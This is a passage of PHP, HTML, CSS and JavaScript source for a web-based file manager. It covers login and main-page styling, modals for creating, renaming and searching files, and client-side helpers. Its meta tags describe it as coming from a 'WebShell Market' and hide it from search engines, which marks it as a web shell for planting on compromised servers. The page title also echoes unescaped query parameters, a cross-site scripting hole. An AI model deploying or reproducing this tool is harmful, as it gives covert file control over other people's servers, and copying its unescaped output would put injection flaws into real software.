0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");
            }

            .fm-login-page .brand {
                width: 121px;
                overflow: hidden;
                margin: 0 auto;
                position: relative;
                z-index: 1
            }

            .fm-login-page .brand img {
                width: 100%
            }

            .fm-login-page .card-wrapper {
                width: 360px;
            }

            .fm-login-page .card {
                border-color: transparent;
                box-shadow: 0 4px 8px rgba(0, 0, 0, .05)
            }

            .fm-login-page .card-title {
                margin-bottom: 1.5rem;
                font-size: 24px;
                font-weight: 400;
            }

            .fm-login-page .form-control {
                border-width: 2.3px
            }

            .fm-login-page .form-group label {
                width: 100%
            }

            .fm-login-page .btn.btn-block {
                padding: 12px 10px
            }

            .fm-login-page .footer {
                margin: 20px 0;
                color: #888;
                text-align: center
            }

            @media screen and (max-width:425px) {
                .fm-login-page .card-wrapper {
                    width: 90%;
                    margin: 0 auto;
                    margin-top: 10%;
                }
            }

            @media screen and (max-width:320px) {
                .fm-login-page .card.fat {
                    padding: 0
                }

                .fm-login-page .card.fat .card-body {
                    padding: 15px
                }
            }

            .message {
                padding: 4px 7px;
                border: 1px solid #ddd;
                background-color: #fff
            }

            .message.ok {
                border-color: green;
                color: green
            }

            .message.error {
                border-color: red;
                color: red
            }

            .message.alert {
                border-color: orange;
                color: orange
            }

            body.fm-login-page.theme-dark {
                background-color: #2f2a2a;
            }

            .theme-dark svg g,
            .theme-dark svg path {
                fill: #ffffff;
            }

            .theme-dark .form-control {
                color: #fff;
                background-color: #403e3e;
            }

            .h-100vh {
                min-height: 100vh;
            }
        </style>
    </head>

    <body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
        <div id="wrapper" class="container-fluid">

        <?php
    }

    /**
     * Show page footer in Login Form
     */
    function fm_show_footer_login()
    {
        ?>
        </div>
        <?php print_external('js-jquery'); ?>
        <?php print_external('js-bootstrap'); ?>
    </body>

    </html>

<?php
    }

    /**
     * Show Header after login
     */
    function fm_show_header()
    {
        header("Content-Type: text/html; charset=utf-8");
        header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
        header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
        header("Pragma: no-cache");

        global $sticky_navbar, $favicon_path;
        $isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
    <!DOCTYPE html>
    <html data-bs-theme="<?php echo FM_THEME; ?>">

    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="description" content="Largest WebShell Market @b3tt3r_c4ll_s4ul">
        <meta name="author" content="CCP Programmers">
        <meta name="robots" content="noindex, nofollow">
        <meta name="googlebot" content="noindex">
        <?php if ($favicon_path) {
            echo '<link rel="icon" href="' . fm_enc($favicon_path) . '" type="image/png">';
        } ?>
        <title><?php echo fm_enc(APP_TITLE) ?> | <?php echo (isset($_GET['view']) ? $_GET['view'] : ((isset($_GET['edit'])) ? $_GET['edit'] : "H3K")); ?></title>
        <?php print_external('pre-jsdelivr'); ?>
        <?php print_external('pre-cloudflare'); ?>
        <?php print_external('css-bootstrap'); ?>
        <?php print_external('css-font-awesome'); ?>
        <?php if (FM_USE_HIGHLIGHTJS && isset($_GET['view'])): ?>
            <?php print_external('css-highlightjs'); ?>
        <?php endif; ?>
        <script type="text/javascript">
            window.csrf = '<?php echo $_SESSION['token']; ?>';
        </script>
        <style>
            html {
                -moz-osx-font-smoothing: grayscale;
                -webkit-font-smoothing: antialiased;
                text-rendering: optimizeLegibility;
                height: 100%;
                scroll-behavior: smooth;
            }

            *,
            *::before,
            *::after {
                box-sizing: border-box;
            }

            body {
                font-size: 15px;
                color: #222;
                background: #F7F7F7;
            }

            body.navbar-fixed {
                margin-top: 55px;
            }

            a,
            a:hover,
            a:visited,
            a:focus {
                text-decoration: none !important;
            }

            .filename,
            td,
            th {
                white-space: nowrap
            }

            .navbar-brand {
                font-weight: bold;
            }

            .nav-item.avatar a {
                cursor: pointer;
                text-transform: capitalize;
            }

            .nav-item.avatar a>i {
                font-size: 15px;
            }

            .nav-item.avatar .dropdown-menu a {
                font-size: 13px;
            }

            #search-addon {
                font-size: 12px;
                border-right-width: 0;
            }

            .brl-0 {
                background: transparent;
                border-left: 0;
                border-top-left-radius: 0;
                border-bottom-left-radius: 0;
            }

            .brr-0 {
                border-top-right-radius: 0;
                border-bottom-right-radius: 0;
            }

            .bread-crumb {
                color: #cccccc;
                font-style: normal;
            }

            #main-table {
                transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1), width 0s .25s;
            }

            #main-table .filename a {
                color: #222222;
            }

            .table td,
            .table th {
                vertical-align: middle !important;
            }

            .table .custom-checkbox-td .custom-control.custom-checkbox,
            .table .custom-checkbox-header .custom-control.custom-checkbox {
                min-width: 18px;
                display: flex;
                align-items: center;
                justify-content: center;
            }

            .table-sm td,
            .table-sm th {
                padding: .4rem;
            }

            .table-bordered td,
            .table-bordered th {
                border: 1px solid #f1f1f1;
            }

            .hidden {
                display: none
            }

            pre.with-hljs {
                padding: 0;
                overflow: hidden;
            }

            pre.with-hljs code {
                margin: 0;
                border: 0;
                overflow: scroll;
            }

            code.maxheight,
            pre.maxheight {
                max-height: 512px
            }

            .fa.fa-caret-right {
                font-size: 1.2em;
                margin: 0 4px;
                vertical-align: middle;
                color: #ececec
            }

            .fa.fa-home {
                font-size: 1.3em;
                vertical-align: bottom
            }

            .path {
                margin-bottom: 10px
            }

            form.dropzone {
                min-height: 200px;
                border: 2px dashed #007bff;
                line-height: 6rem;
            }

            .right {
                text-align: right
            }

            .center,
            .close,
            .login-form,
            .preview-img-container {
                text-align: center
            }

            .message {
                padding: 4px 7px;
                border: 1px solid #ddd;
                background-color: #fff
            }

            .message.ok {
                border-color: green;
                color: green
            }

            .message.error {
                border-color: red;
                color: red
            }

            .message.alert {
                border-color: orange;
                color: orange
            }

            .preview-img {
                max-width: 100%;
                max-height: 80vh;
                background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);
                cursor: zoom-in
            }

            input#preview-img-zoomCheck[type=checkbox] {
                display: none
            }

            input#preview-img-zoomCheck[type=checkbox]:checked~label>img {
                max-width: none;
                max-height: none;
                cursor: zoom-out
            }

            .inline-actions>a>i {
                font-size: 1em;
                margin-left: 5px;
                background: #3785c1;
                color: #fff;
                padding: 3px 4px;
                border-radius: 3px;
            }

            .preview-video {
                position: relative;
                max-width: 100%;
                height: 0;
                padding-bottom: 62.5%;
                margin-bottom: 10px
            }

            .preview-video video {
                position: absolute;
                width: 100%;
                height: 100%;
                left: 0;
                top: 0;
                background: #000
            }

            .compact-table {
                border: 0;
                width: auto
            }

            .compact-table td,
            .compact-table th {
                width: 100px;
                border: 0;
                text-align: center
            }

            .compact-table tr:hover td {
                background-color: #fff
            }

            .filename {
                max-width: 420px;
                overflow: hidden;
                text-overflow: ellipsis
            }

            .break-word {
                word-wrap: break-word;
                margin-left: 30px
            }

            .break-word.float-left a {
                color: #7d7d7d
            }

            .break-word+.float-right {
                padding-right: 30px;
                position: relative
            }

            .break-word+.float-right>a {
                color: #7d7d7d;
                font-size: 1.2em;
                margin-right: 4px
            }

            #editor {
                position: absolute;
                right: 15px;
                top: 100px;
                bottom: 15px;
                left: 15px
            }

            @media (max-width:481px) {
                #editor {
                    top: 150px;
                }
            }

            #normal-editor {
                border-radius: 3px;
                border-width: 2px;
                padding: 10px;
                outline: none;
            }

            .btn-2 {
                padding: 4px 10px;
                font-size: small;
            }

            li.file:before,
            li.folder:before {
                font: normal normal normal 14px/1 FontAwesome;
                content: "\f016";
                margin-right: 5px
            }

            li.folder:before {
                content: "\f114"
            }

            i.fa.fa-folder-o {
                color: #0157b3
            }

            i.fa.fa-picture-o {
                color: #26b99a
            }

            i.fa.fa-file-archive-o {
                color: #da7d7d
            }

            .btn-2 i.fa.fa-file-archive-o {
                color: inherit
            }

            i.fa.fa-css3 {
                color: #f36fa0
            }

            i.fa.fa-file-code-o {
                color: #007bff
            }

            i.fa.fa-code {
                color: #cc4b4c
            }

            i.fa.fa-file-text-o {
                color: #0096e6
            }

            i.fa.fa-html5 {
                color: #d75e72
            }

            i.fa.fa-file-excel-o {
                color: #09c55d
            }

            i.fa.fa-file-powerpoint-o {
                color: #f6712e
            }

            i.go-back {
                font-size: 1.2em;
                color: #007bff;
            }

            .main-nav {
                padding: 0.2rem 1rem;
                box-shadow: 0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)
            }

            .dataTables_filter {
                display: none;
            }

            table.dataTable thead .sorting {
                cursor: pointer;
                background-repeat: no-repeat;
                background-position: center right;
                background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC');
            }

            table.dataTable thead .sorting_asc {
                cursor: pointer;
                background-repeat: no-repeat;
                background-position: center right;
                background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg==');
            }

            table.dataTable thead .sorting_desc {
                cursor: pointer;
                background-repeat: no-repeat;
                background-position: center right;
                background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII=');
            }

            table.dataTable thead tr:first-child th.custom-checkbox-header:first-child {
                background-image: none;
            }

            .footer-action li {
                margin-bottom: 10px;
            }

            .app-v-title {
                font-size: 24px;
                font-weight: 300;
                letter-spacing: -.5px;
                text-transform: uppercase;
            }

            hr.custom-hr {
                border-top: 1px dashed #8c8b8b;
                border-bottom: 1px dashed #fff;
            }

            #snackbar {
                visibility: hidden;
                min-width: 250px;
                margin-left: -125px;
                background-color: #333;
                color: #fff;
                text-align: center;
                border-radius: 2px;
                padding: 16px;
                position: fixed;
                z-index: 1;
                left: 50%;
                bottom: 30px;
                font-size: 17px;
            }

            #snackbar.show {
                visibility: visible;
                -webkit-animation: fadein 0.5s, fadeout 0.5s 2.5s;
                animation: fadein 0.5s, fadeout 0.5s 2.5s;
            }

            @-webkit-keyframes fadein {
                from {
                    bottom: 0;
                    opacity: 0;
                }

                to {
                    bottom: 30px;
                    opacity: 1;
                }
            }

            @keyframes fadein {
                from {
                    bottom: 0;
                    opacity: 0;
                }

                to {
                    bottom: 30px;
                    opacity: 1;
                }
            }

            @-webkit-keyframes fadeout {
                from {
                    bottom: 30px;
                    opacity: 1;
                }

                to {
                    bottom: 0;
                    opacity: 0;
                }
            }

            @keyframes fadeout {
                from {
                    bottom: 30px;
                    opacity: 1;
                }

                to {
                    bottom: 0;
                    opacity: 0;
                }
            }

            #main-table span.badge {
                border-bottom: 2px solid #f8f9fa
            }

            #main-table span.badge:nth-child(1) {
                border-color: #df4227
            }

            #main-table span.badge:nth-child(2) {
                border-color: #f8b600
            }

            #main-table span.badge:nth-child(3) {
                border-color: #00bd60
            }

            #main-table span.badge:nth-child(4) {
                border-color: #4581ff
            }

            #main-table span.badge:nth-child(5) {
                border-color: #ac68fc
            }

            #main-table span.badge:nth-child(6) {
                border-color: #45c3d2
            }

            @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) {
                .navbar-collapse .col-xs-6 {
                    padding: 0;
                }
            }

            .btn.active.focus,
            .btn.active:focus,
            .btn.focus,
            .btn.focus:active,
            .btn:active:focus,
            .btn:focus {
                outline: 0 !important;
                outline-offset: 0 !important;
                background-image: none !important;
                -webkit-box-shadow: none !important;
                box-shadow: none !important
            }

            .lds-facebook {
                display: none;
                position: relative;
                width: 64px;
                height: 64px
            }

            .lds-facebook div,
            .lds-facebook.show-me {
                display: inline-block
            }

            .lds-facebook div {
                position: absolute;
                left: 6px;
                width: 13px;
                background: #007bff;
                animation: lds-facebook 1.2s cubic-bezier(0, .5, .5, 1) infinite
            }

            .lds-facebook div:nth-child(1) {
                left: 6px;
                animation-delay: -.24s
            }

            .lds-facebook div:nth-child(2) {
                left: 26px;
                animation-delay: -.12s
            }

            .lds-facebook div:nth-child(3) {
                left: 45px;
                animation-delay: 0s
            }

            @keyframes lds-facebook {
                0% {
                    top: 6px;
                    height: 51px
                }

                100%,
                50% {
                    top: 19px;
                    height: 26px
                }
            }

            ul#search-wrapper {
                padding-left: 0;
                border: 1px solid #ecececcc;
            }

            ul#search-wrapper li {
                list-style: none;
                padding: 5px;
                border-bottom: 1px solid #ecececcc;
            }

            ul#search-wrapper li:nth-child(odd) {
                background: #f9f9f9cc;
            }

            .c-preview-img {
                max-width: 300px;
            }

            .border-radius-0 {
                border-radius: 0;
            }

            .float-right {
                float: right;
            }

            .table-hover>tbody>tr:hover>td:first-child {
                border-left: 1px solid #1b77fd;
            }

            #main-table tr.even {
                background-color: #F8F9Fa;
            }

            .filename>a>i {
                margin-right: 3px;
            }

            .fs-7 {
                font-size: 14px;
            }
        </style>
        <?php
        if (FM_THEME == "dark"): ?>
            <style>
                :root {
                    --bs-bg-opacity: 1;
                    --bg-color: #f3daa6;
                    --bs-dark-rgb: 28, 36, 41 !important;
                    --bs-bg-opacity: 1;
                }

                body.theme-dark {
                    background-image: linear-gradient(90deg, #1c2429, #263238);
                    color: #CFD8DC;
                }

                .list-group .list-group-item {
                    background: #343a40;
                }

                .theme-dark .navbar-nav i,
                .navbar-nav .dropdown-toggle,
                .break-word {
                    color: #CFD8DC;
                }

                a,
                a:hover,
                a:visited,
                a:active,
                #main-table .filename a,
                i.fa.fa-folder-o,
                i.go-back {
                    color: var(--bg-color);
                }

                ul#search-wrapper li:nth-child(odd) {
                    background: #212a2f;
                }

                .theme-dark .btn-outline-primary {
                    color: #b8e59c;
                    border-color: #b8e59c;
                }

                .theme-dark .btn-outline-primary:hover,
                .theme-dark .btn-outline-primary:active {
                    background-color: #2d4121;
                }

                .theme-dark input.form-control {
                    background-color: #101518;
                    color: #CFD8DC;
                }

                .theme-dark .dropzone {
                    background: transparent;
                }

                .theme-dark .inline-actions>a>i {
                    background: #79755e;
                }

                .theme-dark .text-white {
                    color: #CFD8DC !important;
                }

                .theme-dark .table-bordered td,
                .table-bordered th {
                    border-color: #343434;
                }

                .theme-dark .table-bordered td .custom-control-input,
                .theme-dark .table-bordered th .custom-control-input {
                    opacity: 0.678;
                }

                .message {
                    background-color: #212529;
                }

                form.dropzone {
                    border-color: #79755e;
                }
            </style>
        <?php endif; ?>
    </head>

    <body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
        <div id="wrapper" class="container-fluid">
            <!-- New Item creation -->
            <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true" data-bs-theme="<?php echo FM_THEME; ?>">
                <div class="modal-dialog" role="document">
                    <form class="modal-content" method="post">
                        <div class="modal-header">
                            <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                        </div>
                        <div class="modal-body">
                            <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
                            <div class="form-check form-check-inline">
                                <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
                                <label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                            </div>
                            <div class="form-check form-check-inline">
                                <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
                                <label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                            </div>

                            <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                            <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
                        </div>
                        <div class="modal-footer">
                            <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                            <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                            <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                        </div>
                    </form>
                </div>
            </div>

            <!-- Advance Search Modal -->
            <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true" data-bs-theme="<?php echo FM_THEME; ?>">
                <div class="modal-dialog modal-lg" role="document">
                    <div class="modal-content">
                        <div class="modal-header">
                            <h5 class="modal-title col-10" id="searchModalLabel">
                                <div class="input-group mb-3">
                                    <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                                    <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                                </div>
                            </h5>
                            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                        </div>
                        <div class="modal-body">
                            <form action="" method="post">
                                <div class="lds-facebook">
                                    <div></div>
                                    <div></div>
                                    <div></div>
                                </div>
                                <ul id="search-wrapper">
                                    <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
                                </ul>
                            </form>
                        </div>
                    </div>
                </div>
            </div>

            <!--Rename Modal -->
            <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog" data-bs-theme="<?php echo FM_THEME; ?>">
                <div class="modal-dialog" role="document">
                    <form class="modal-content rounded-3 shadow" method="post" autocomplete="off">
                        <div class="modal-body p-4 text-center">
                            <h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
                            <p class="mb-1">
                                <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
                                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                                <input type="hidden" name="rename_from" id="js-rename-from">
                            </p>
                        </div>
                        <div class="modal-footer flex-nowrap p-0">
                            <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                            <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
                        </div>
                    </form>
                </div>
            </div>

            <!-- Confirm Modal -->
            <script type="text/html" id="js-tpl-confirm">
                <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>" data-bs-theme="<?php echo FM_THEME; ?>">
                    <div class="modal-dialog" role="document">
                        <form class="modal-content rounded-3 shadow" method="post" autocomplete="off" action="<%this.action%>">
                            <div class="modal-body p-4 text-center">
                                <h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
                                <p class="mb-1"><%this.content%></p>
                            </div>
                            <div class="modal-footer flex-nowrap p-0">
                                <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                                <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
                            </div>
                        </form>
                    </div>
                </div>
            </script>
        <?php
    }

    /**
     * Show page footer after login
     */
    function fm_show_footer()
    {
        ?>
        </div>
        <?php print_external('js-jquery'); ?>
        <?php print_external('js-bootstrap'); ?>
        <?php print_external('js-jquery-datatables'); ?>
        <?php if (FM_USE_HIGHLIGHTJS && isset($_GET['view'])): ?>
            <?php print_external('js-highlightjs'); ?>
            <script>
                hljs.highlightAll();
                var isHighlightingEnabled = true;
            </script>
        <?php endif; ?>
        <script>
            function template(html, options) {
                var re = /<\%([^\%>]+)?\%>/g,
                    reExp = /(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,
                    code = 'var r=[];\n',
                    cursor = 0,
                    match;
                var add = function(line, js) {
                    js ? (code += line.match(reExp) ? line + '\n' : 'r.push(' + line + ');\n') : (code += line != '' ? 'r.push("' + line.replace(/"/g, '\\"') + '");\n' : '');
                    return add
                }
                while (match = re.exec(html)) {
                    add(html.slice(cursor, match.index))(match[1], !0);
                    cursor = match.index + match[0].length
                }
                add(html.substr(cursor, html.length - cursor));
                code += 'return r.join("");';
                return new Function(code.replace(/[\r\t\n]/g, '')).apply(options)
            }

            function rename(e, t) {
                if (t) {
                    $("#js-rename-from").val(t);
                    $("#js-rename-to").val(t);
                    $("#renameDailog").modal('show');
                }
            }

            function change_checkboxes(e, t) {
                for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked
            }

            function get_checkboxes() {
                for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--)(e[n].type = "checkbox") && t.push(e[n]);
                return t
            }

            function select_all() {
                change_checkboxes(get_checkboxes(), !0)
            }

            function unselect_all() {
                change_checkboxes(get_checkboxes(), !1)
            }

            function invert_all() {
                change_checkboxes(get_checkboxes())
            }

            function checkbox_toggle() {
                var e = get_checkboxes();
                e.push(this), change_checkboxes(e)
            }

            // Create file backup with .bck
            function backup(e, t) {
                var n = new XMLHttpRequest,
                    a = "path=" + e + "&file=" + t + "&token=" + window.csrf + "&type=backup&ajax=true";
